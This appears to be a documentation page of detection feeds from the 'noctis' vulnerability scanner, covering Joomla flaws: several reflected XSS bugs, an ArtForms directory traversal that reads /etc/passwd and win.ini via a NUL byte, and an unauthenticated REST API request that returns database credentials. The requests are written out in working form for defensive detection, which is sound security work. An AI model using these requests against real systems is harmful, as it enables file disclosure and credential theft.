  # OpenVAS/Greenbone NASL 2013/gb_joomla_googlemaps_mult_vuln.nasl (GPL-2.0-only)

steps:
  - id: gen-marker
    action: script
    code: |
      let m = "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4);
      #{ marker: m, want: "<body onload=alert(" + m + ")>" }
    store_as: sc

  - id: init-probe-r
    action: set_var
    var_name: probe_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/joomla"]

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-clean
    action: set_var
    var_name: ctrl_clean
    var_value: false

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  - id: probe
    action: http_request
    method: GET
    path: "{{dir}}/plugins/content/plugin_googlemap2_proxy.php?url=%3Cbody%20onload=alert({{sc.marker}})%3E"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: probe_r

  - id: check
    action: script
    code: |
      let body = if type_of(probe_r.body) == "string" { probe_r.body } else { "" };
      if probe_r.status == 200 && body.contains(sc.want) { "reflected" } else { "" }
    store_as: hit

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/plugins/content/{{sc.marker}}.php?url=%3Cbody%20onload=alert({{sc.marker}})%3E"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit != ""'
    store_as: ctrl_r

  - id: control-check
    action: script
    condition: 'hit != ""'
    code: |
      let body = if type_of(ctrl_r.body) == "string" { ctrl_r.body } else { "" };
      ctrl_r.status != 0 && !body.contains(sc.want)
    store_as: ctrl_clean

  - id: report
    action: match
    source: hit
    pattern: "^reflected$"
    condition: "ctrl_clean == true"
    on_match:
      finding:
        title: "Joomla Googlemaps Plugin url Parameter Reflected XSS (CVE-2013-7433)"
        description: "An unauthenticated request to plugin_googlemap2_proxy.php with the url parameter set to a body tag carrying a random marker returned that tag unescaped in the page, while an absent script in the same folder did not reflect it. The Googlemaps plugin (before 3.1) prints the url value as received: an attacker can send a visitor a link that runs any script in the site's origin, and the same unvalidated parameter allows XML injection."
        remediation: "Upgrade the Googlemaps plugin to 3.1 or later, or remove plugin_googlemap2_proxy.php."
        confidence_delta: 0.50
        qod: 75
        evidence: "{{dir}}/plugins/content/plugin_googlemap2_proxy.php?url=<body onload=alert({{sc.marker}})> was reflected unescaped: {{sc.want}}; the same payload sent to an absent script was not"
      stop: true

Joomla! ArtForms afmsg Reflected Cross-Site Scripting

CVECVE-2010-2846
Severitymedium · CVSS 4.3
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2010-2846.yaml

Tests the Joomla! ArtForms component (com_artforms 2.1b7.2 RC2 and earlier) for the reflected cross-site scripting in the afmsg parameter of index.php?option=com_artforms, which the component prints without escaping. In the web root and under /joomla, the feed sends afmsg a script element that only carries a random marker (percent-encoded once, then, when it is not reflected, twice for components that decode the message again before printing it) and reports the install when that exact script element comes back unescaped in the page. Each probe is sent with formid=1 and without it. A control request sending the same payload to a random, absent component must not reflect it, so a page that echoes any parameter is not reported as ArtForms. The script is harmless and only reaches the scanner.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{t.dir}}/index.php?option=com_artforms&{{t.form}}afmsg=%3Cscript%3Ealert(/{{sc.marke…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{t.dir}}/index.php?option=com_artforms&{{t.form}}afmsg=%253Cscript%253Ealert(/{{sc.m…
  5. Parses / computes the next value with a Rhai script
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{t.dir}}/index.php?{{ctrl_q}}
  8. Parses / computes the next value with a Rhai script
  9. Checks hit for ^encoded (once|twice)$ → finding QoD 75: Joomla! ArtForms afmsg Reflected Cross-Site Scripting (CVE-2010-2846)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2010-2846.yaml
# Joomla! ArtForms (com_artforms) afmsg reflected cross-site scripting — CVE-2010-2846
#
# ArtForms 2.1b7.2 RC2 and earlier (InterJoomla form builder, no fixed
# release) prints the afmsg request parameter (the message shown after a form
# is sent) into the component page without escaping (advisory: exploit-db
# 14263, "index.php?option=com_artforms&formid=1&afmsg=<script>alert('xss');</script>").
#
# Detection (benign — the injected script only names a random marker and is
# shown to nobody but the scanner): GET
#   <joomla dir>/index.php?option=com_artforms[&formid=1]&afmsg=<script>alert(/<marker>/)</script>
# (percent-encoded) and look for that exact, unescaped script element in the
# reply (QoD 75). The payload has no quote, so magic_quotes_gpc cannot alter
# it. When it is not reflected, the same payload is sent percent-encoded
# twice: a component that strips tags from the parameter (Joomla 1.0
# mosGetParam) and then urldecode()s it before printing — as a message passed
# through a redirect usually is — prints the script element too.
#
# Improvements over the source NASL:
#   - The NASL does not test the cross-site scripting at all: it reports it
#     only through a version check of the ArtForms page (every version <=
#     2.1b7.2 RC2, i.e. every version, since no fix exists). The feed proves
#     the unescaped reflection and only reports installs that have it.
#   - A control request sends the same payload to a random, absent component
#     (option=com_<random>): a page that reflects it there too is a generic
#     parameter reflector, not ArtForms, and is not reported (fail-closed).
#   - Each probe is sent with the advisory's formid=1 and without it, so a
#     site that has no form 1 is still tested.
#   - A random marker per scan, so a page that always shows a fixed script
#     (or a tutorial quoting the advisory) is not reported, and a second,
#     double-encoded payload for the strip-then-decode variant.
#
# CVSS: CVE-2010-2846 v2 4.3 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_joomla_artforms_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.902219, GPL-2.0-only).
uid: 9f4b210d-2d4a-444d-a131-f3737d35cc01
name: "Joomla! ArtForms afmsg Reflected Cross-Site Scripting (CVE-2010-2846)"
description: |
  Tests the Joomla! ArtForms component (com_artforms 2.1b7.2 RC2 and earlier)
  for the reflected cross-site scripting in the afmsg parameter of
  index.php?option=com_artforms, which the component prints without escaping.
  In the web root and under /joomla, the feed sends afmsg a script element
  that only carries a random marker (percent-encoded once, then, when it is
  not reflected, twice for components that decode the message again before
  printing it) and reports the install when that exact script element comes
  back unescaped in the page. Each probe is sent with formid=1 and without
  it. A control request sending the same payload to a random, absent
  component must not reflect it, so a page that echoes any parameter is not
  reported as ArtForms. The script is harmless and only reaches the scanner.
cves: [CVE-2010-2846]
cvss: 4.3
severity: medium
category: xss
confidence_base: 0.30
tags: [joomla, joomla-component, com_artforms, artforms, xss, reflected-xss, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-2846"
  - "https://www.exploit-db.com/exploits/14263"
  # OpenVAS/Greenbone NASL 2010/gb_joomla_artforms_mult_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random marker and the exact script element to look for ───────────────
  - id: gen-marker
    action: script
    code: |
      let m = "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4);
      #{ marker: m, want: "<script>alert(/" + m + "/)</script>" }
    store_as: sc

  # ── Loop group: every following step runs once per (folder, formid) ──────
  - id: init-once-r
    action: set_var
    var_name: once_r
    var_value: {status: 0, body: ""}
    loop:
      var: t
      over:
        - {dir: "", form: "formid=1&"}
        - {dir: "", form: ""}
        - {dir: "/joomla", form: "formid=1&"}
        - {dir: "/joomla", form: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-q
    action: set_var
    var_name: ctrl_q
    var_value: ""

  - id: init-ctrl-clean
    action: set_var
    var_name: ctrl_clean
    var_value: false

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  - id: init-twice-r
    action: set_var
    var_name: twice_r
    var_value: {status: 0, body: ""}

  - id: probe-once
    action: http_request
    method: GET
    path: "{{t.dir}}/index.php?option=com_artforms&{{t.form}}afmsg=%3Cscript%3Ealert(/{{sc.marker}}/)%3C/script%3E"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: once_r

  - id: check-once
    action: script
    condition: 'hit == ""'
    code: |
      let body = if type_of(once_r.body) == "string" { once_r.body } else { "" };
      if body.contains(sc.want) { "encoded once" } else { "" }
    store_as: hit

  - id: probe-twice
    action: http_request
    method: GET
    path: "{{t.dir}}/index.php?option=com_artforms&{{t.form}}afmsg=%253Cscript%253Ealert(/{{sc.marker}}/)%253C/script%253E"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: twice_r

  - id: check-twice
    action: script
    condition: 'hit == ""'
    code: |
      let body = if type_of(twice_r.body) == "string" { twice_r.body } else { "" };
      if body.contains(sc.want) { "encoded twice" } else { "" }
    store_as: hit

  # ── Control: the same payload to a random, absent component ─────────────
  # Joomla answers an unknown option with its "component not found" page, so
  # a page that reflects the payload there too is a generic reflector (any
  # script echoing its parameters), not ArtForms: not reported. Fail-closed —
  # no control reply, no finding.
  - id: control-query
    action: script
    condition: 'hit != ""'
    code: |
      let enc = if hit == "encoded once" { "%3C" } else { "%253C" };
      let gt = if hit == "encoded once" { "%3E" } else { "%253E" };
      "option=com_" + sc.marker + "&" + t.form + "afmsg=" + enc + "script" + gt + "alert(/" + sc.marker + "/)" + enc + "/script" + gt
    store_as: ctrl_q

  - id: control
    action: http_request
    method: GET
    path: "{{t.dir}}/index.php?{{ctrl_q}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit != ""'
    store_as: ctrl_r

  - id: control-check
    action: script
    condition: 'hit != ""'
    code: |
      let body = if type_of(ctrl_r.body) == "string" { ctrl_r.body } else { "" };
      ctrl_r.status != 0 && !body.contains(sc.want)
    store_as: ctrl_clean

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit
    pattern: "^encoded (once|twice)$"
    condition: "ctrl_clean == true"
    on_match:
      finding:
        title: "Joomla! ArtForms afmsg Reflected Cross-Site Scripting (CVE-2010-2846)"
        description: "An unauthenticated request to index.php?option=com_artforms with the afmsg parameter set to a script element carrying a random marker returned that script element unescaped in the page. An attacker can send a victim a link that runs any script in the site's origin, for example to steal a logged-in administrator's session."
        remediation: "Remove the ArtForms component (no fixed release exists), or make it HTML-escape afmsg (htmlspecialchars) before printing it."
        confidence_delta: 0.50
        qod: 75
        evidence: "{{t.dir}}/index.php?option=com_artforms&{{t.form}}afmsg=<script>alert(/{{sc.marker}}/)</script> ({{hit}}) was reflected unescaped: {{sc.want}}; the same payload sent to an absent component was not"
      stop: true

Joomla! ArtForms playcode.php Directory Traversal

CVECVE-2010-2848
Severitymedium · CVSS 5.0
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2010-2848.yaml

Tests the Joomla! ArtForms component (com_artforms 2.1b7.2 RC2 and earlier) for the unauthenticated directory traversal in its audio captcha script assets/captcha/includes/alikon/playcode.php, which builds the path of the file it sends from the l parameter unchecked. The feed requests playcode.php in the web root and under /joomla with l set to a ../ sequence ending in etc/passwd and a NUL byte (%00) that cuts off the appended suffix and, when no passwd content comes back, windows/win.ini and then boot.ini. The content of the file in the reply confirms the traversal. The NUL-byte cut only works on PHP before 5.3.4 with magic_quotes_gpc off, so installs on newer PHP are not reported. A control request for an absent random file through the same parameter must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../.…
  2. Checks passwd_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../.…
  5. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  6. HTTP(S) request GET {{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../.…
  7. Checks bootini_r.body for (?i)\[boot loader\]
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET {{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l={{ctrl_…
  10. Checks ctrl_r.body for (?mi)((?:^|>)[^:\r\n<>]+:[^:\r\n]*:0:[0-9]+:|; for 16-bit app support…
  11. Checks lin_proof for ^(?:root|<redacted>):<redacted>:0:[0-9]+: → finding QoD 75: Joomla! ArtForms playcode.php Directory Traversal (CVE-2010-2848)
  12. Checks win_file for ^(windows/win\.ini|boot\.ini)$ → finding QoD 75: Joomla! ArtForms playcode.php Directory Traversal (CVE-2010-2848)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2010-2848.yaml
# Joomla! ArtForms (com_artforms) alikon/playcode.php directory traversal — CVE-2010-2848
#
# ArtForms 2.1b7.2 RC2 and earlier (InterJoomla form builder, no fixed
# release) ships components/com_artforms/assets/captcha/includes/alikon/
# playcode.php, the audio captcha player. It builds the path of the sound file
# to send from the "l" request parameter with no check and no login (advisory:
# exploit-db 14263). "../" sequences leave the sounds folder, and a NUL byte
# (%00) cuts off the appended suffix on PHP < 5.3.4 with magic_quotes_gpc off,
# so any file the web server user can read is sent back.
#
# Detection (benign, read-only): GET
#   <joomla dir>/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=(../ x16)etc/passwd%00
# and match the CONTENT of /etc/passwd; when the script answers but no passwd
# line comes back, windows/win.ini, then boot.ini. QoD 75 (response analysis).
# %00 and ../ in the query go out verbatim through http_request.
#
# Improvements over the source NASL:
#   - The NASL only probes when the com_artforms page of a detected Joomla
#     install says "ArtForms", and otherwise falls back to a version check that
#     reports every ArtForms <= 2.1b7.2 RC2 (no fixed release exists) without
#     testing the flaw. The feed sends the file read directly (playcode.php is
#     a standalone script that works even when the component page is hidden)
#     and reports only an install where the read works. The SQL injection and
#     the cross-site scripting of the same advisory are proven by their own
#     feeds (CVE-2010-2847.yaml, CVE-2010-2846.yaml).
#   - Sixteen "../" levels instead of twelve, for deeper install folders.
#   - A control request (same parameter, a path in an absent random directory
#     that still ends with the file that hit) must come back WITHOUT any of
#     these files and with the same HTTP status (fail-closed): a blanket
#     responder or a honeypot keying a fake file on the name is not reported.
#   - The account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVSS: CVE-2010-2848 v2 5.0 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_joomla_artforms_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.902219, GPL-2.0-only).
uid: d1ec2428-b688-4ae9-823d-54888217e4a8
name: "Joomla! ArtForms playcode.php Directory Traversal (CVE-2010-2848)"
description: |
  Tests the Joomla! ArtForms component (com_artforms 2.1b7.2 RC2 and earlier)
  for the unauthenticated directory traversal in its audio captcha script
  assets/captcha/includes/alikon/playcode.php, which builds the path of the
  file it sends from the l parameter unchecked. The feed requests playcode.php
  in the web root and under /joomla with l set to a ../ sequence ending in
  etc/passwd and a NUL byte (%00) that cuts off the appended suffix and, when
  no passwd content comes back, windows/win.ini and then boot.ini. The content
  of the file in the reply confirms the traversal. The NUL-byte cut only works
  on PHP before 5.3.4 with magic_quotes_gpc off, so installs on newer PHP are
  not reported. A control request for an absent random file through the same
  parameter must not return any of these files, so a server that serves the
  same content on every request is not reported. Only world-readable system
  files are read. The account name (unless root), password field and gecos of
  the uid-0 line are redacted from the evidence.
cves: [CVE-2010-2848]
cvss: 5.0
severity: medium
category: file-read
confidence_base: 0.30
tags: [joomla, joomla-component, com_artforms, artforms, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-2848"
  - "https://www.exploit-db.com/exploits/14263"
  # OpenVAS/Greenbone NASL 2010/gb_joomla_artforms_mult_vuln.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per Joomla folder location.
  # Each pass resets the values it reads, so nothing is left over.
  - id: init-passwd-r
    action: set_var
    var_name: passwd_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/joomla"]

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-path
    action: set_var
    var_name: ctrl_path
    var_value: ""

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── Linux: /etc/passwd ───────────────────────────────────────────────────
  - id: read-passwd
    action: http_request
    method: GET
    path: "{{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../../../../../../../../../../../../../../../etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: passwd_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: passwd-content
    action: match
    source: passwd_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: passwd_m

  - id: passwd-redact
    action: script
    code: |
      if passwd_m.matched && passwd_m.captures.len() > 2 {
        let name = passwd_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:" + passwd_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + passwd_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: lin_proof

  # ── Windows: windows/win.ini, then boot.ini (older Windows) — only when the
  # script answered (200) and the Linux read gave nothing ───────────────────
  - id: read-winini
    action: http_request
    method: GET
    path: "{{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../../../../../../../../../../../../../../../windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && passwd_r.status == 200'
    store_as: winini_r

  - id: winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-bootini
    action: http_request
    method: GET
    path: "{{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../../../../../../../../../../../../../../../boot.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
    store_as: bootini_r

  - id: bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'lin_proof == "" && win_file == "" && passwd_r.status == 200'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── Control: same parameter, absent random file — must NOT carry a file ──
  # The absent path sits in a random missing directory but still ENDS with
  # the file that hit (etc/passwd, windows/win.ini or boot.ini) and the NUL
  # byte, so a honeypot that keys a fake file on that name or path suffix
  # answers it too.
  - id: control-path
    action: script
    code: |
      let f = if lin_proof != "" { "etc/passwd" } else { win_file };
      "../../../../../../../../../../../../../../../../noctis-absent-" + oob_token + "/" + f
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_path

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l={{ctrl_path}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof != "" || win_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
    condition: 'lin_proof != "" || win_file != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered and stayed clean) ─────────────────────────
  - id: report-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "Joomla! ArtForms playcode.php Directory Traversal (CVE-2010-2848)"
        description: "An unauthenticated request to the ArtForms captcha script playcode.php with the l parameter set to a ../ sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as the Joomla configuration.php with the database password."
        remediation: "Remove the ArtForms component (no fixed release exists) or at least delete components/com_artforms/assets/captcha/includes/alikon/playcode.php, and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=(../ x16)etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-windows
    action: match
    source: win_file
    pattern: "^(windows/win\\.ini|boot\\.ini)$"
    condition: "ctrl_r.status != 0 && ctrl_r.status == passwd_r.status && ctrl_hit == false"
    on_match:
      finding:
        title: "Joomla! ArtForms playcode.php Directory Traversal (CVE-2010-2848)"
        description: "An unauthenticated request to the ArtForms captcha script playcode.php with the l parameter set to a ../ sequence ending in a Windows system file and a NUL byte returned that file's content, while the same request for an absent file did not. The same flaw reads any other file the web server user can read, such as the Joomla configuration.php with the database password."
        remediation: "Remove the ArtForms component (no fixed release exists) or at least delete components/com_artforms/assets/captcha/includes/alikon/playcode.php, and run PHP 5.3.4 or later, which no longer cuts paths at a NUL byte."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=(../ x16){{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

Joomla! J-ClassifiedsManager view Reflected XSS

CVECVE-2015-1477
Severitymedium · CVSS 4.3
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2015-1477.yaml

Tests the J-ClassifiedsManager component (CMSJunkie) of Joomla! for the unescaped reflection of the view parameter of its main page. On the web root and /joomla, the feed requests jclassifiedsmanager/classifieds with view=<body onload=alert(marker)>, where the marker is random for each scan, and reports the component when that exact tag comes back unescaped in the reply. A control request sending the same payload to an absent page in the same folder must not reflect it, so a server that echoes any parameter is not reported. The tag is harmless and only reaches the scanner.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/jclassifiedsmanager/classifieds?view=%3Cbody%20onload=alert({{sc.marker}})%3E
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/jclassifiedsmanager/{{sc.marker}}?view=%3Cbody%20onload=alert({{sc.marker}})%…
  5. Parses / computes the next value with a Rhai script
  6. Checks hit for ^reflected$ → finding QoD 75: Joomla! J-ClassifiedsManager view Reflected XSS (CVE-2015-1477)

References:

Feed source — tests/vulnerabilities/joomla/CVE-2015-1477.yaml
# Joomla! CMSJunkie J-ClassifiedsManager view reflected XSS — CVE-2015-1477
#
# The main page of the J-ClassifiedsManager component (jclassifiedsmanager/classifieds) prints its
# `view` request parameter in the page without encoding it, unauthenticated.
#
# Detection (QoD 75, benign: the injected tag only names a random marker and reaches nobody but the
# scanner), per candidate Joomla directory (web root and /joomla): GET
#   <dir>/jclassifiedsmanager/classifieds?view=<body onload=alert(MARKER)>
# (percent-encoded) and look for that exact unescaped tag in the reply. A control request sends the
# same payload to an absent script in the same folder: a server reflecting it there too is a
# generic reflector and is not reported (fail-closed).
#
# CVSS: NVD publishes only a v2 base score (4.3) for CVE-2015-1477.
#
# Source: OpenVAS/Greenbone NVT 2015/gb_joomla_classifiedsmanager_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.805271, GPL-2.0-only).
uid: 25fce5d2-b36b-4969-aeb1-b5e0fb0022cd
name: "Joomla! J-ClassifiedsManager view Reflected XSS (CVE-2015-1477)"
description: |
  Tests the J-ClassifiedsManager component (CMSJunkie) of Joomla! for the unescaped reflection of
  the view parameter of its main page. On the web root and /joomla, the feed requests
  jclassifiedsmanager/classifieds with view=<body onload=alert(marker)>, where the marker is random
  for each scan, and reports the component when that exact tag comes back unescaped in the reply.
  A control request sending the same payload to an absent page in the same folder must not reflect
  it, so a server that echoes any parameter is not reported. The tag is harmless and only reaches
  the scanner.
cves: [CVE-2015-1477]
cvss: 4.3
severity: medium
category: xss
confidence_base: 0.30
tags: [joomla, j-classifiedsmanager, cmsjunkie, xss, reflected-xss, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2015-1477"
  # OpenVAS/Greenbone NASL 2015/gb_joomla_classifiedsmanager_mult_vuln.nasl (GPL-2.0-only)

steps:
  - id: gen-marker
    action: script
    code: |
      let m = "noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4);
      #{ marker: m, want: "<body onload=alert(" + m + ")>" }
    store_as: sc

  - id: init-probe-r
    action: set_var
    var_name: probe_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/joomla"]

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-clean
    action: set_var
    var_name: ctrl_clean
    var_value: false

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  - id: probe
    action: http_request
    method: GET
    path: "{{dir}}/jclassifiedsmanager/classifieds?view=%3Cbody%20onload=alert({{sc.marker}})%3E"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: probe_r

  - id: check
    action: script
    code: |
      let body = if type_of(probe_r.body) == "string" { probe_r.body } else { "" };
      if probe_r.status == 200 && body.contains(sc.want) { "reflected" } else { "" }
    store_as: hit

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/jclassifiedsmanager/{{sc.marker}}?view=%3Cbody%20onload=alert({{sc.marker}})%3E"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'hit != ""'
    store_as: ctrl_r

  - id: control-check
    action: script
    condition: 'hit != ""'
    code: |
      let body = if type_of(ctrl_r.body) == "string" { ctrl_r.body } else { "" };
      ctrl_r.status != 0 && !body.contains(sc.want)
    store_as: ctrl_clean

  - id: report
    action: match
    source: hit
    pattern: "^reflected$"
    condition: "ctrl_clean == true"
    on_match:
      finding:
        title: "Joomla! J-ClassifiedsManager view Reflected XSS (CVE-2015-1477)"
        description: "An unauthenticated request to the J-ClassifiedsManager main page with the view parameter set to a body tag carrying a random marker returned that tag unescaped in the page, while an absent page in the same folder did not reflect it: an attacker can send a visitor a link that runs any script in the site's origin."
        remediation: "Update the J-ClassifiedsManager component to a release that encodes the view parameter, or remove it."
        confidence_delta: 0.50
        qod: 75
        evidence: "{{dir}}/jclassifiedsmanager/classifieds?view=<body onload=alert({{sc.marker}})> was reflected unescaped: {{sc.want}}; the same payload sent to an absent page was not"
      stop: true

Joomla! Unauthenticated REST API Config Disclosure — DB Credentials

CVECVE-2023-23752
Severitymedium · CVSS 5.3
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionhttp_request, match · highest QoD 75
Feedtests/vulnerabilities/joomla/CVE-2023-23752.yaml

Requests /api/index.php/v1/config/application?public=true without credentials and reports when Joomla returns the application configuration, which leaks the database credentials.

How noctis detects it

  1. HTTP(S) request GET /api/index.php/v1/config/application?public=true
  2. Checks cfg_resp.body for "attributes": → finding QoD 75: Joomla! REST API exposed database credentials without authentication (CVE-2023-23752): …
Feed source — tests/vulnerabilities/joomla/CVE-2023-23752.yaml
uid: 75be162e-7033-4612-a3d3-a4805e58b15c
name: "Joomla! Unauthenticated REST API Config Disclosure — DB Credentials (CVE-2023-23752)"
description: "Requests /api/index.php/v1/config/application?public=true without credentials and reports when Joomla returns the application configuration, which leaks the database credentials."
cves: [CVE-2023-23752]
cvss: 5.3
severity: medium
category: auth-bypass
confidence_base: 0.30
tags: [joomla, cms, api, auth-bypass, credential-disclosure, kev, pre-auth]
services: [http, https]
author: noctis
version: "1.0.0"

steps:
  - id: api-probe
    action: http_request
    method: GET
    path: "/api/index.php/v1/config/application?public=true"
    port: "{{port}}"
    tls_insecure: true
    store_as: cfg_resp

  - id: config-match
    action: match
    source: cfg_resp.body
    pattern: '"attributes":'
    condition: "cfg_resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "Joomla! REST API exposed database credentials without authentication (CVE-2023-23752): {{cfg_resp.body}}"
      stop: true

View these feeds on GitHub